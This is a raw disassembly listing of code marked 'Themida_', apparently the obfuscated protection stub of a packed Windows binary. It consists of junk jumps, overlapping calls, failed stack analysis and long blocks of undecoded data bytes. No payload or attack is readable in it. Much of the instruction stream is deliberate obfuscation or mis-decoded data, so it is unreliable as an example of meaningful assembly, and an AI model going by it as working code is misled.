loc_5B40A0:				; CODE XREF: Themida_:loc_5B4087j
		call	sub_5B40B2
		xchg	eax, ebx
		sti
		insb
		push	cs
		ror	dword ptr [ecx+4Dh], 1
		iret
; ---------------------------------------------------------------------------
		db 0D9h, 3Bh, 34h
		db 43h,	14h

; =============== S U B	R O U T	I N E =======================================



sub_5B40B2	proc near		; CODE XREF: Themida_:loc_5B40A0p
		stc
		pop	edx
		sub	edx, 6B18F759h
		sub	dx, 0E2F6h
		sbb	al, 0FDh
		cmc
		jle	loc_5B40CB
		mov	edx, esi


loc_5B40CB:				; CODE XREF: sub_5B40B2+11j
		mov	edx, 7376CCDEh
		sub	dx, 453Bh
		adc	bx, 0A39Fh
		mov	esi, 18065396h
		js	loc_5B40F5
		jmp	loc_5B40F5
; ---------------------------------------------------------------------------
		dw 4B80h
		dd 937DF387h, 64DCC54Eh
		db 4Ch
; ---------------------------------------------------------------------------


loc_5B40F5:				; CODE XREF: sub_5B40B2+2Dj
					; sub_5B40B2+33j
		mov	ebx, 29626167h
		mov	ah, 0Ah
		and	edx, 50346760h
		mov	esi, 9751EAFh
		call	near ptr loc_5B410E+3
		xor	ah, dh


loc_5B410E:				; CODE XREF: sub_5B40B2+55p
		call	near ptr 8BC17074h
sub_5B40B2	endp ; sp-analysis failed

		rcr	dword ptr [ebx-17h], cl
		adc	[eax], al
; ---------------------------------------------------------------------------
		dd 256D0000h, 0A661A1BBh, 2EBE3779h, 0B917BEFEh, 1CBBF6AEh
		dd 664B82DCh, 0C18BFA8Bh, 0AE9h, 76697C00h, 5559132Ch
		dd 0F565972h, 0C87h, 7E900h, 164F0000h,	0E874F1E7h, 2830FE1h
		dd 0B1000000h, 66D38B23h, 0DC38E181h, 809DE380h, 0BA6637F7h
		dd 0F080EE0Eh, 12E801h,	1E900000h, 5D7D4D37h, 602DA7C1h
		dd 0CC0308Ch, 35038AC6h, 8B5ECC8Ah, 0DE952F2h, 23000000h
		dd 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 0C381665Bh, 0EBB2396Dh
		dd 12E8h, 27678300h, 0E72C2AB2h, 0B8A8BDB7h, 243FAE3h
		dd 0F6E1DD3h, 283h, 5F5F5000h, 58A0Fh, 80530000h, 0FC5A4DC8h
		dd 11E8h, 0C94CA000h, 79C388C3h, 82AD57EAh, 0B37F40DBh
		dd 10E8EEFCh, 47000000h, 9E56DFFAh, 2F527473h, 926EA2B2h
		dd 0FE20198h, 5B5EF1BFh, 0F67DB80h, 0BE8C8BFh, 0F8000000h
		dd 0C929E138h, 0BE93EDC6h, 0E280A152h, 0E9F5597Fh, 12h
		dd 0ED84467Fh, 5DA15F59h, 0E7D4E15Dh, 6B56EAFh,	0BBBE458Bh
		dd 0E9439F84h, 5, 26100E9Dh, 2CD381B4h,	664533E8h, 0E917ACB8h
		dd 12h,	93487BF5h, 795246Bh, 6BA4707Fh,	9447E507h, 5CBE039Ah
		dd 0F5682B2Dh, 74E38166h, 60D6BFB6h, 0BF66285Ah, 8160F973h
		dd 0C95138C3h, 8D0F616Bh, 8, 52C88152h,	5A09DDF2h, 0D751E5BAh
		dd 0AE91Eh, 28220000h, 0AD0836C5h, 358B96BDh, 5E9h, 0F657DD00h
		dd 0BA6626A0h, 2BBB3D3Bh, 8B3980ABh, 6BE181C1h,	5163176Ch
		dd 0FBB6C281h, 0E95810C2h, 5, 7F5B2EC5h, 6880F64h, 81000000h
		dd 9AA92BC2h, 5800F36h,	52000000h, 59DABF0Fh, 10E9E18Ah
		dd 17000000h, 0FB93D83Ch, 49D10E6Ch, 3BD9CF4Dh,	51144334h
		dd 5E958F5h, 82000000h,	0D274F3F0h, 0BE97AB0h, 1E000000h
		dd 0CE13CB1Dh, 0F2871434h, 0BF0FED52h, 59EE81C7h, 0F77DD97h
		dd 887h, 810F5700h, 0
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_5B4341
; ---------------------------------------------------------------------------
		dw 8BCDh
; ---------------------------------------------------------------------------
		cli
		pop	ebx
		stosd
		jnz	short loc_5B4389


loc_5B4341:				; CODE XREF: Themida_:005B4335j
		mov	ecx, esi
		xor	ecx, 0B082470h
		stc
		jnb	loc_5B435B
		ja	loc_5B435B
		mov	ecx, 4759BBCAh


loc_5B435B:				; CODE XREF: Themida_:005B434Aj
					; Themida_:005B4350j
		jmp	loc_5B4373
; ---------------------------------------------------------------------------
		dd 0FA82B24Fh, 161755CCh, 2BED2EBFh, 6F5EB301h
		db 87h,	0A7h, 0C3h
; ---------------------------------------------------------------------------


loc_5B4373:				; CODE XREF: Themida_:loc_5B435Bj
		mov	edi, 6601474Bh
		jmp	loc_5B4390
; ---------------------------------------------------------------------------
		db 0F5h, 9Eh, 50h
		dd 4DA1EFF1h, 349003B7h
		db 0C6h
; ---------------------------------------------------------------------------


loc_5B4389:				; CODE XREF: Themida_:005B433Fj
		bound	edx, [edx-43F06F3Ch]
		inc	ebx


loc_5B4390:				; CODE XREF: Themida_:005B4378j
		push	edi
		pusha
		cmc
		jnz	$+6
		popa
		pop	ecx
		mov	edi, 3D42EFEh
		push	ebx
		jns	loc_5B43AA
		movsx	edx, si


loc_5B43AA:				; CODE XREF: Themida_:005B43A1j
		pop	ebx
		mov	si, dx
		mov	al, cl
		pusha
		push	ecx
		and	ax, 0E5BCh
		pop	ecx
		mov	esi, ebx
		popa
		jp	loc_5B43C7


loc_5B43C1:				; CODE XREF: Themida_:005B4403j
		add	eax, 75BB7006h


loc_5B43C7:				; CODE XREF: Themida_:005B43BBj
		sbb	eax, 104A4208h
		call	loc_5B43DE
		mov	al, ds:9A6B5951h
		nop
		add	eax, 0B1D6BBD4h
		lodsb


loc_5B43DE:				; CODE XREF: Themida_:005B43CDp
		push	ecx
		mov	esi, eax
		pop	eax
		pop	edi
		jmp	loc_5B43FB
; ---------------------------------------------------------------------------
		dd 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh
		db 0ACh, 0AAh, 0D5h
; ---------------------------------------------------------------------------


loc_5B43FB:				; CODE XREF: Themida_:005B43E3j
		movzx	edi, di
		jmp	loc_5B4412
; ---------------------------------------------------------------------------
		jecxz	short loc_5B43C1
		xlat
		sub	eax, 0C3FD99D0h
		fmul	qword ptr [edx]
		mov	ds:27551C16h, al


loc_5B4412:				; CODE XREF: Themida_:005B43FEj
		mov	dl, bh
		mov	ecx, 5BD43087h
		mov	cx, 0BF30h
		adc	esi, 4CA5C090h
		jbe	loc_5B443C
		ja	loc_5B443C
		jmp	loc_5B443C
; ---------------------------------------------------------------------------
		dd 0EC9F3F2Bh, 9E38DF3Ch
; ---------------------------------------------------------------------------


loc_5B443C:				; CODE XREF: Themida_:005B4423j
					; Themida_:005B4429j ...
		jge	$+6
		sub	di, 5D44h
		or	ebx, 111F9CFCh
		cmc
		jmp	loc_5B445B
; ---------------------------------------------------------------------------
		db 6Eh
		dd 3A1929D1h
		db 6Bh,	4Dh, 0E9h
; ---------------------------------------------------------------------------


loc_5B445B:				; CODE XREF: Themida_:005B444Ej
		jmp	loc_5B446A
; ---------------------------------------------------------------------------
		dd 682DBFABh, 0EC594811h
		db 36h,	0A1h
; ---------------------------------------------------------------------------


loc_5B446A:				; CODE XREF: Themida_:loc_5B445Bj
		mov	al, bh
		add	al, 0Eh
		mov	ch, 66h
		call	sub_5B4480	; CODE XREF: sub_5B4480+63j
		adc	ebx, esp
; ---------------------------------------------------------------------------
		dd 0AFD8A8DDh, 0B9DCE8A9h

; =============== S U B	R O U T	I N E =======================================



sub_5B4480	proc near		; CODE XREF: Themida_:005B4471p
		sub	ebx, 0E64C1DAh
		pop	ebx
		jmp	loc_5B449C
; ---------------------------------------------------------------------------
		dd 2194847Fh, 631233Ah,	559498CFh, 0D56CD88Fh
; ---------------------------------------------------------------------------


loc_5B449C:				; CODE XREF: sub_5B4480+7j
		sbb	dx, 0D36Fh
		add	edi, 3907D9ECh
		mov	al, 0EAh
		mov	edi, edx
		xor	ax, 0DCC9h
		or	ah, 0B8h
		mov	edx, 5673960Ch
		pusha
		jmp	loc_5B44C5
; ---------------------------------------------------------------------------
		dw 6528h
		dd 220B2451h
		db 0FEh
; ---------------------------------------------------------------------------


loc_5B44C5:				; CODE XREF: sub_5B4480+39j
		mov	cl, 0D4h
		popa
		sbb	dh, 0FFh	; CODE XREF: sub_5B4480+61j
		mov	dh, cl
		push	edi
		mov	cl, 0BAh
		pop	esi
		cmc
		sub	ecx, 7483E9A8h
		mov	bx, 0FF27h
		call	near ptr loc_5B44F1+2
		js	short near ptr loc_5B44C8+2
		jnb	short near ptr loc_5B4471+3
		push	ss
		daa
		cmp	ecx, [edx-9C3CA9Ah]
		das
		push	ss
		xchg	edx, esp


loc_5B44F1:				; CODE XREF: sub_5B4480+5Cp
		cmp	eax, 6E825h
sub_5B4480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		sub	[edx+2B8076D5h], cl
		jl	$+6
		pop	esi
		pop	edx
		jmp	loc_5B4516
; ---------------------------------------------------------------------------
		db 75h
		dd 38396885h, 7135EDA8h
		db 68h,	65h
; ---------------------------------------------------------------------------


loc_5B4516:				; CODE XREF: Themida_:005B4506j
		mov	edx, 73B7ED01h
		jge	loc_5B4538
		jmp	loc_5B4538
; ---------------------------------------------------------------------------
		dw 5B77h
		dd 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
; ---------------------------------------------------------------------------


loc_5B4538:				; CODE XREF: Themida_:005B451Bj
					; Themida_:005B4521j
		mov	ax, 0B67Fh
		jnp	loc_5B4548
		jb	$+6


loc_5B4548:				; CODE XREF: Themida_:005B453Cj
		pusha
		mov	dx, 3779h
		stc
		popa
		movsx	edi, dx
		jo	loc_5B4563
		ja	loc_5B4563
		mov	eax, 215C2BE0h


loc_5B4563:				; CODE XREF: Themida_:005B4552j
					; Themida_:005B4558j
		mov	dx, bx
		call	near ptr sub_5B457B
		cld
		setalc
		mov	esp, 0F3A513D8h
		wait
		sub	esp, [edi-21h]
		cmp	eax, 62CFF00Eh

; =============== S U B	R O U T	I N E =======================================



sub_5B457B	proc far		; CODE XREF: Themida_:005B4566p

; FUNCTION CHUNK AT 005B4653 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005B467B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005B46A6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005B46D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B46EE SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005B4750 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005B4773 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005B4781 SIZE 00000007 BYTES

		adc	esi, 7AA2844Eh
		pop	esi
		mov	dl, ah
		cld
		mov	si, 0D2AFh
		push	ebx
		jmp	loc_5B45A3
; ---------------------------------------------------------------------------
		db 5
		dd 1DFC1899h, 0DF284C51h, 7AAC6E74h, 6967E5E7h
; ---------------------------------------------------------------------------
		push	dword ptr [ebx]
		scasb


loc_5B45A3:				; CODE XREF: sub_5B457B+Fj
		pop	edx
		mov	cx, dx
		jmp	loc_5B45B7
; ---------------------------------------------------------------------------
		dd 0CCDD5F65h, 0EC2B2286h
		db 28h,	0FFh, 0B8h
; ---------------------------------------------------------------------------


loc_5B45B7:				; CODE XREF: sub_5B457B+2Cj
		mov	edi, 4A6D47C9h
		jmp	loc_5B45D4
; ---------------------------------------------------------------------------
		mov	ebx, 0FEDCB700h
		pop	esp
		inc	ebp
		add	cl, dl
		jmp	short loc_5B462C
; ---------------------------------------------------------------------------
		dd 0A07A079Ah, 6653DC3Ah
; ---------------------------------------------------------------------------


loc_5B45D4:				; CODE XREF: sub_5B457B+41j
		push	edx
		stc
		pop	ecx
		xor	ecx, 7BBC855Ch
		jmp	loc_5B45F6
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		adc	[eax], cl
		ja	short loc_5B4653
		or	dl, dl
		retn
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 49h
		dd 0AE67C4F7h, 0E8D98AD4h
		db 0ECh, 0D7h
; ---------------------------------------------------------------------------


loc_5B45F6:				; CODE XREF: sub_5B457B+62j
		mov	bl, dl
		cld
		jmp	loc_5B4611
; ---------------------------------------------------------------------------
		dw 95DDh
		db 0C6h, 0A1h, 6
; ---------------------------------------------------------------------------


loc_5B4603:				; CODE XREF: sub_5B457B+E2j
		mov	edi, 0B29091DEh
		in	eax, dx
		mov	dword ptr [edx], 0AC5D1605h
		xchg	eax, ebx
		out	dx, eax


loc_5B4611:				; CODE XREF: sub_5B457B+7Ej
		pusha
		cld
		popa
		mov	ch, 0FBh
		add	ah, 14h
		jmp	loc_5B4632
; ---------------------------------------------------------------------------
		dw 4E4Ch
		dd 0BCAE1FC8h, 920DEDF0h, 910D92B5h
; ---------------------------------------------------------------------------


loc_5B462C:				; CODE XREF: sub_5B457B+4Fj
		and	eax, 2ED2F797h
; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------


loc_5B4632:				; CODE XREF: sub_5B457B+9Ej
		pusha
		call	near ptr locret_5B4647+2
		xchg	eax, esp
		mov	ecx, 0DFB5917Dh
		mov	ebx, 6FB2AA33h
		imul	esp, [eax], 73h
		push	esi

locret_5B4647:				; CODE XREF: sub_5B457B+B8p
		retf	0E82Ah
sub_5B457B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 13h
		dd 607D0000h
		db 3Ch,	0F3h, 80h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B4653:				; CODE XREF: sub_5B457B+6Aj
		mov	ss, bx
		dec	ecx
		maxps	xmm0, oword ptr	[edi-32h]
		adc	byte ptr [ebx],	2Dh
		jz	short loc_5B4603
		jg	short near ptr loc_5B4695+3
		pop	edi
		pop	ebx
		movsx	edx, di
		popa
		jmp	loc_5B467B
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		dd 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh
; ---------------------------------------------------------------------------
		mov	al, [esi]
		xchg	eax, edx
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B467B:				; CODE XREF: sub_5B457B+ECj
		xor	esi, 6406B605h
		jnb	loc_5B4688
		cld


loc_5B4688:				; CODE XREF: sub_5B457B+106j
		push	edi
		mov	edx, 137F8AEAh
		pop	esi
		sub	eax, 7E7B0907h


loc_5B4695:				; CODE XREF: sub_5B457B+E4j
		jmp	loc_5B46A6
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		dw 0A814h
		dd 0A16E23A9h, 91F6961Eh
; ---------------------------------------------------------------------------
		clc
		popf
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B46A6:				; CODE XREF: sub_5B457B:loc_5B4695j
		mov	dx, 876Fh
		mov	dh, 41h
		jl	loc_5B46B5
		mov	di, ax


loc_5B46B5:				; CODE XREF: sub_5B457B+131j
		and	edi, 157A53B2h
		or	bl, 4Ah
		cmc
		jmp	loc_5B46D0
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		pusha
		push	ss
		retn	0A05Dh
; ---------------------------------------------------------------------------
		db 0C7h, 0D7h, 0Eh
; ---------------------------------------------------------------------------
		retf	0D7F2h
; ---------------------------------------------------------------------------
		db 13h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B46D0:				; CODE XREF: sub_5B457B+144j
		xor	ax, 55Ch
		push	ebx
		jmp	loc_5B46EE
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		db 2Ah
		dd 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h
		db 0F8h, 7Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B46EE:				; CODE XREF: sub_5B457B+15Bj
		pop	esi
		clc
		push	edi
		pusha
		mov	edi, ebx
		mov	ah, 91h
		popa
		pop	eax
		sub	ax, 0C310h
		jnz	near ptr loc_5B4715+8
		pusha
		mov	dx, 0B0DCh
		call	near ptr loc_5B4715+6
		jle	short loc_5B4750
		mov	cl, 0A5h
		cmp	ebx, edx
		loop	loc_5B4781


loc_5B4715:				; CODE XREF: sub_5B457B+18Dp
					; sub_5B457B+182j
		mov	dword ptr [ebx-16C4231Eh], 0E6806158h
		sub	ch, al
		adc	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		db 0
		dd 0EC8CDC00h, 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5A6084DBh
		dd 3C7ABA60h, 0BB6637E7h, 0F618F71h, 0E860CABFh, 7, 0A9A9FEF3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B4750:				; CODE XREF: sub_5B457B+192j
		adc	ch, [edx+5E61605Bh]
		popa
		cmc
		cmc
		push	esi
		jmp	loc_5B4773
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		db 45h
		dd 237F3031h, 3285D7E4h, 4F1D7A82h, 6B653A7Bh
		db 0E6h, 0BAh, 10h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B4773:				; CODE XREF: sub_5B457B+1DFj
		pop	eax
		jmp	near ptr loc_5B4781+4
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		aad	0B1h
		xchg	eax, ecx
		popa
		idiv	byte ptr [edx+29h]
		cld
; START	OF FUNCTION CHUNK FOR sub_5B457B


loc_5B4781:				; CODE XREF: sub_5B457B+198j
					; sub_5B457B+1F9j
		mov	esp, 0E94CC5BEh
		or	al, 0
; END OF FUNCTION CHUNK	FOR sub_5B457B
; ---------------------------------------------------------------------------
		dd 0DF910000h, 0D4693A27h, 0B0DFC42Fh, 8B6636EFh, 0F840FCEh
		dd 0E8000000h, 7, 95B19161h, 8B94E502h,	0B70F5BF1h, 0FEB70FD1h
		dd 0F8FA8B66h, 0CE8h, 0BF770100h, 0D64E3299h, 44E4724Eh
		dd 0F605840h, 681h, 850F00h, 8A000000h,	816661C7h, 0F3477C2h
		dd 0AE9CEBFh, 0DA000000h, 57DB0771h, 6066CF34h,	38D0F4Fh
		dd 80000000h, 0EE959DCh, 0BF000000h, 5FBA6FDBh,	6F1B2D58h
		dd 6E4A787Ah, 9A8CBAAAh, 0B8665687h, 10E99E17h,	0C0000000h
		dd 698DE341h, 0FFC2D865h, 0C84DB852h, 0B570A254h, 39B96666h
		dd 77C08186h, 80737153h, 0E7800DC4h, 6E86014h, 0B1000000h
		dd 0E2D339A5h, 12E96Ch,	7070000h, 647B8181h, 0A44FE0FDh
		dd 0E397F1E8h, 0CF53730Bh, 0F38B665Eh, 0C1BF0F61h, 880FF88Ah
		dd 1Bh,	15800Fh, 0FE80000h, 7A000000h, 0CF4EBD95h, 8CFD1850h
		dd 8F8F63Fh, 0E95A282Fh, 0Ch, 0EC267866h, 0A91BB755h, 5AAA0B8Ch
		dd 0DF8BEAB7h, 0E8FA8B66h, 9, 0DEE5EC96h, 3D8926BFh, 5BD1B188h
		dd 0B2B86660h, 0F88B60A5h, 61616160h, 60D7B70Fh, 66F98B66h
		dd 61B5BEB9h, 38E0Fh, 0F7800000h, 609DB5E8h, 8E0FF3B4h
		dd 6, 2A6AE781h, 0F9610C3Ah, 26D28166h,	7120BEF8h, 11E94779h
		dd 33000000h, 2126E735h, 8C2FCC94h, 38A95FD1h, 540A138h
		dd 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h, 0FA8B66C2h
		dd 9E9F9h, 6E3F0000h, 44CF6205h, 0F9A1C4Dh, 0C8Ch, 68B0F00h
		dd 81000000h, 5AE15FEAh, 0B966F542h, 0E860856Ah, 5, 1319C043h
		dd 5FC88B14h, 546DD0B9h, 8166613Dh, 0E93350C2h,	5, 0F4819096h
		dd 0FEDB40Bh, 0F181F2B7h, 660BC131h, 0EE9h, 15B74F00h
		dd 35FC7027h, 88D508Ah,	0F3BB9AAh, 880h, 28D0F00h, 60000000h
		dd 12E961h, 0D17C0000h,	7DA828AFh, 0F3C1F14Ah, 44EEBEF7h
		dd 181ECB32h, 92C88166h, 0F4BE66D0h, 0E8C88B31h, 0Fh, 0DAE7D9B3h
		dd 0F581F3EBh, 0BC7A3BB7h, 66D62A9Ch, 0E95EC88Bh, 0Ah
		dd 799C010Ah, 0C0999D9Dh, 9E9161Fh, 4F000000h, 0EF801AA8h
		dd 36E26D06h, 0BE8h, 33D1B800h,	31EB50D8h, 0B3BC5FFEh
		dd 0AE959h, 22C70000h, 0B38AD662h, 0C0A8E99h, 44D280F5h
		dd 6D921BFh, 6DA8126h, 0E929FC07h, 0Fh,	47214B6Ah, 0F8F5A890h
		dd 7804201h, 0E93A3F20h, 9, 0AF9D83B3h,	0E9DBF164h, 0DBBF0FE5h
		dd 53F88B66h, 14E8h, 64001200h,	505DB220h, 0ED7281E6h
		dd 1A233587h, 0EF6586E9h, 12E855h, 0C6D30000h, 0F29BF47h
		dd 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh, 0B65A5859h, 0C1CAB841h
		dd 0F607A42h, 486h, 0FEBF6600h,	0E78161FCh, 3D50082Eh
		dd 0B913BFF8h, 0BB6636C6h, 14E9260Ah, 0F6000000h, 0AE0D31B8h
		dd 0EF755002h, 0F9F6CE65h, 0C848EA90h, 0E90E37C9h, 0Dh
		dd 0A40F882Fh, 0C86599A8h, 8EFE27Ch, 13E9BCh, 9C200000h
		dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0D6AE591Ah,	0E7F0806Eh
		dd 7E8h, 0D1A18B00h, 0E6F0EF1Ah, 68B0Fh, 8B0F0000h, 0
		dd 5850F58h, 0B9000000h, 3C968BA6h, 0B866C18Bh,	60561716h
		dd 0FF58C881h, 0CE8539Dh, 7C000000h, 6A85BF93h,	66DB989Ch
		dd 59C6A624h, 13E95E61h, 1F000000h, 2F24B5D4h, 0F8BF9014h
		dd 0F955B60Bh, 2B351FF5h, 80F815E9h, 0C68B8DD0h, 81C7B5F5h
		dd 4F596EF6h, 0D3B70F7Fh, 6635CE80h, 0B60FCAB8h, 0A0B3600Ch
		dd 14E961F9h, 86000000h, 2C3EB2F3h, 0E11EF29Bh,	0E45EA57h
		dd 5D065FC8h, 6015D25Ch, 81F28B66h, 66A321F7h, 0C380612Ah
		dd 80C28BFCh, 0BF6625F1h, 81661C42h, 0E9B587F0h, 14h, 5C6BCB35h
		dd 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h, 0E9C68B66h
		dd 11h,	5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 0FCE8B19h
		dd 0BA66C9B7h, 11E90111h, 47000000h, 0B65BB715h, 7E651F65h
		dd 51887155h, 99D13EF1h, 0D638BF66h, 0AE9h, 0ED952A00h
		dd 8665F7A0h, 0B909BAE9h, 22C1C4EDh, 38F0F60h, 66000000h
		dd 6660D78Bh, 66D0C3B8h, 61811BBBh, 0CABF0F61h,	0B2F3BF0Fh
		dd 0DF81F5E5h, 19FAFBFh, 0F885C681h, 81665D6Bh,	0FEC41F6h
		dd 0CB8BF3B7h, 8880Fh, 81510000h, 30482BD3h, 0E7815A7Fh
		dd 4E27AE1Ah, 7E9h, 4A402000h, 56DBA8C6h, 36BB6660h, 0FE948h
		dd 39370000h, 14B4655Dh, 0B1220407h, 9DB7C7C0h,	0C28B617Bh
		dd 13E9h, 46B00000h, 0D441AB27h, 0C09C3287h, 0A35F4BB8h
		dd 55242BBAh, 0A9DF8166h, 0E181669Bh, 0C18B4EF6h, 0FE5ED281h
		dd 0D1807007h, 0BBFA8B46h, 79A491CBh, 12E860F9h, 80000000h
		dd 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh, 0AAEA81ABh
		dd 5A24DF95h, 561DEBBFh, 0C2B66150h, 66D08B66h,	6660CF8Bh
		dd 62B3CB81h, 14E8h, 0E006C800h, 0FB8E78FEh, 93215FD9h
		dd 0AEC55032h, 62D77B8Ah, 8E879h, 35430000h, 4AF9E0F7h
		dd 5A5F6555h, 13E961h, 0E9F60000h, 0FD2A8D0Ah, 0CA4B8516h
		dd 84546A8Dh, 0D687F8CBh, 11E925h, 68FD0000h, 0A21A5201h
		dd 4E9BA886h, 7DE5E5DDh, 8B3F45E5h, 14E081F7h, 0E951A268h
		dd 5, 6961DAE5h, 0BE60FC61h, 0F80381Dh,	0EE8h, 79473000h
		dd 0F7E8FA66h, 0E2C83B9Dh, 0E899EA43h, 10h, 0D9893A47h
		dd 457AB6Dh, 82F49272h,	0E430309Ch, 0B6615F5Eh,	6FBA66FCh
		dd 0D08166C3h, 0BF0FA214h, 0FE8C9h, 6A240000h, 67D72605h
		dd 0B2C23DCBh, 5DD0D137h, 14E936h, 0BA220000h, 9BC6CF94h
		dd 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h, 665F3F12h,	0E52EEA81h
		dd 11E8h, 7DB99400h, 0BBDFB591h, 6FB2AA33h, 5673206Bh
		dd 0BF0F2ACAh, 0C8805AD8h, 6E92Ah, 7390000h, 0DFB3B0D3h
		dd 0F8F805B5h, 0F9D7B70Fh, 0D94CF781h, 0AE90196h, 56000000h
		dd 36D6A6F4h, 0A815DE1Bh, 0E9E38A40h, 0Ah, 9E64818h, 0F717BCA3h
		dd 0FE8B6052h, 3880Fh, 8B660000h, 31F680C7h, 0CACF8166h
		dd 0D0B70FABh, 0AE8h, 0CA02D800h, 8B1336DEh, 5134AC90h
		dd 81665B5Bh, 80B773F7h, 66F518EEh, 247FC781h, 0FD8B70Fh
		dd 8166CBBFh, 0E98D60F0h, 0Ah, 0BE464968h, 73687FAFh, 810FC69Eh
		dd 3, 80F7BF0Fh, 94B63AE5h, 8C0F4EB1h, 5, 947691B8h, 0CBBF0F3Ch
		dd 60EE8166h, 0FA8B660Dh, 28A0Fh, 7B10000h, 5E8h, 0E36A9200h
		dd 0F48A99ACh, 0E8526059h, 10h,	9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h
		dd 17BF15DFh, 6652595Eh, 11F1E081h, 73B0615Eh, 0BBCBB70Fh
		dd 4CBF5E50h, 158A0Fh, 10E90000h, 7E000000h, 0A7308903h
		dd 34DFE812h, 934C9F7h,	60B38C31h, 16830Fh, 11E90000h
		dd 3B000000h, 0EA2305E9h, 0F2861CF9h, 35E0235Bh, 83FE8D16h
		dd 0FC59B966h, 66F28B61h, 0E86387BAh, 8, 54B0DEFCh, 0F9E3CDAAh
		dd 816659FCh, 0BF3C91D9h, 2B22B3E9h, 0B52933BBh, 0DFBF0F79h
		dd 0DF8B66F8h, 80D38BF8h, 0F98B79E5h, 5820Fh, 32B80000h
		dd 0E8599D85h, 0Eh, 0D67F7D67h,	512657CDh, 48189567h, 0E96009E6h
		dd 0Dh,	33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F59614Dh, 8F0FD0BFh
		dd 3, 0FF38B66h, 883h, 0F7815100h, 73CA7223h, 0B2C28059h
		dd 63C68166h, 0CAB70F16h, 0DEE88166h, 0FF48AF4h, 381h
		dd 0DF8B6600h, 8A35F680h, 6BE381C7h, 0F115AA9h,	381h, 0D08B6600h
		dd 0D3DE8166h, 8E8B2h, 531F0000h, 0A8262CFBh, 9E95ABBh
		dd 2E000000h, 28379394h, 0BCA79A00h, 0E881FC5Fh, 5E92EEE1h
		dd 296BF66h, 0DE935B7h,	65000000h, 392856D1h, 0B4908378h
		dd 0FC5EAE91h, 71BF6652h, 2DB75F23h, 0FE9h, 0AE9BC800h
		dd 0A68E000h, 716068C6h, 0B0586CADh, 0FE9h, 0F5CE6200h
		dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 4860Fh, 0BF660000h
		dd 8166249Eh, 53C734C6h, 11E85EF5h, 74000000h, 0CA232565h
		dd 0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 0C318E081h, 8B5A4267h
		dd 12E8DEh, 0AB300000h,	0F8DE3428h, 6D46C620h, 0D33C4022h
		dd 0D8F28597h, 2820Fh, 5B560000h, 0FD38B59h, 2088h, 0EE800h
		dd 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 7E9h
		dd 34CC2B00h, 93D90A2h,	0FE85Bh, 55900000h, 92C84BF3h
		dd 64EF0EA2h, 0C8790131h, 0C6B70FC0h, 0C68B665Eh, 6700C381h
		dd 0B2B11883h, 10E9h, 739BDB00h, 5F44D163h, 0D3BF7162h
		dd 0D0ACAC28h, 0F38BF9AEh, 66C2BF0Fh, 0D081F28Bh, 1986587Ah
		dd 0B966C68Bh, 0BB666AF7h, 8B666D93h, 0AE953D7h, 97000000h
		dd 0FD928577h, 28A0F4Eh, 43B85894h, 6065831Eh, 0B75FBB66h
		dd 12E961h, 0F43D0000h,	9B258D47h, 0E7C19DD5h, 3994BC32h
		dd 8F4104Ch, 0D7E680F9h, 6C281FCh, 8B0737FBh, 0DABF0FD0h
		dd 8E860h, 0EB870000h, 548CC48Eh, 0BE904D6h, 0D5000000h
		dd 9E3B5BEAh, 0D4BD8B9Eh, 0BB5E2113h, 0BEF7DD5h, 5E961h
		dd 0D0E0000h, 0F731135h, 687h, 1ACF8100h, 0F46290Ah, 0B8Dh
		dd 5830F00h, 66000000h,	7289F181h, 0CE8F8h, 8DB70000h
		dd 0D885A515h, 11222462h, 6060F042h, 9E861h, 0D6E50000h
		dd 292D26ABh, 596894ADh, 6CBF5E61h, 0E91ACE86h,	9, 0BBD0DFA4h
